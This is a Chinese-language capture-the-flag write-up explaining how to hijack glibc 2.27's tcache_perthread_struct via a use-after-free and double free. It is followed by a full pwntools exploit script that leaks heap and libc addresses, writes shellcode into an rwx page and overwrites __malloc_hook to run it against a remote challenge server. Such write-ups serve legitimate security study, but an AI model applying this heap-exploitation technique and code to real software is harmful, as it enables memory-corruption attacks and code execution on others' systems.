每个线程都有一个 tcache, 用一个 tcache_perthread_struct
的结构体维护, 这个结构体放在各个线程的堆上 (每个线程都有独立的堆空间). 那么只要劫持了这个结构体, 就可以直接篡改 tcache 了.
tcache_perthread_struct
如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;
# define TCACHE_MAX_BINS 64
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS]; // 2.27 以上这里类型是 uint16_t
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
|
- 修改 next: 分配时不会检查 count 和 key, 故可以构造任意分配
- 修改 count: 可以直接 free 到 fastbin 或者 unsorted bin 中
只要泄漏了堆地址, 就可以调试计算偏移得到 tcache_perthread_struct
地址. 或者泄漏 key, key 就是 tcache_perthread_struct
地址.
glibc 没 key 的 2.27, 菜单题, 保护全开, sandbox.
只允许 18 次操作, 限制 free 操作只有 3 次. 在 0x66660000 的地方 mmap 了一块 rwx 的页. 漏洞是 UAF.
double free tcache 可以 leak heap, 然后劫持 tcache_perthread_struct
, 之后 count 变成负数, 再 free 就不到 tcach bin 中了. 所以可以用大于 0x80 的 chunk 来 double free 并劫持, 接着 free 放到 unsorted bin 中, show leak libc. 至此, 3 次 free 都用掉了.
接着可以直接 edit 篡改 tcache_perthread_struct
, 比如把一个 0x100 的 entry 改为 0x66660000, 然后 add(0x100), edit 写入 shellcode. 再改一个到 malloc hook 改为 0x66660000, 这样下一次 add 就可以跳过去执行 shellcode 了.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
procname = './pwn'
libcname = '/home/wings/CTF/tools/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6'
# io = process(procname, stdin=PTY)
io = remote('node4.buuoj.cn', 25634)
elf = ELF(procname)
libc = ELF(libcname)
def n2b(x):
return str(x).encode()
def op(x):
io.sendlineafter(b'Your Choice: ', n2b(x))
def add(size):
op(1)
io.sendlineafter(b'size: ', n2b(size))
def show(idx):
op(2)
io.sendlineafter(b'id: ', n2b(idx))
io.recvuntil(b'content: ')
def edit(idx, content):
op(3)
io.sendlineafter(b'id: ', n2b(idx))
io.sendafter(b'content: ', content)
def delete(idx):
op(4)
io.sendlineafter(b'id: ', n2b(idx))
mmap = 0x66660000
buf = mmap + 0x100
add(0x100) # 0
delete(0)
delete(0)
show(0)
heap = u64(io.recvline(keepends=False).ljust(8, b'\x00')) - 0x260
success(f'leak heap: {hex(heap)}')
tcache = heap + 0x10
add(0x100) # 1
edit(1, p64(tcache))
add(0x100) # 2
add(0x100) # 3, tcache
add(0x10) # 4
delete(2)
show(2)
libc.address = u64(io.recvline(keepends=False).ljust(8, b'\x00')) - 0x3ebca0
success(f'leak libc: {hex(libc.address)}')
edit(3, b'\x00' * 64 + p64(0) * 0xf + p64(mmap))
add(0x100) # 5
sc = shellcraft.open('/flag', 0)
sc += shellcraft.read(3, buf, 0x50)
sc += shellcraft.write(1, buf, 0x50)
edit(5, asm(sc))
edit(3, b'\x00' * 64 + p64(libc.sym['__malloc_hook']))
add(0x10) # 6
edit(6, p64(mmap))
add(0x10)
io.interactive()
|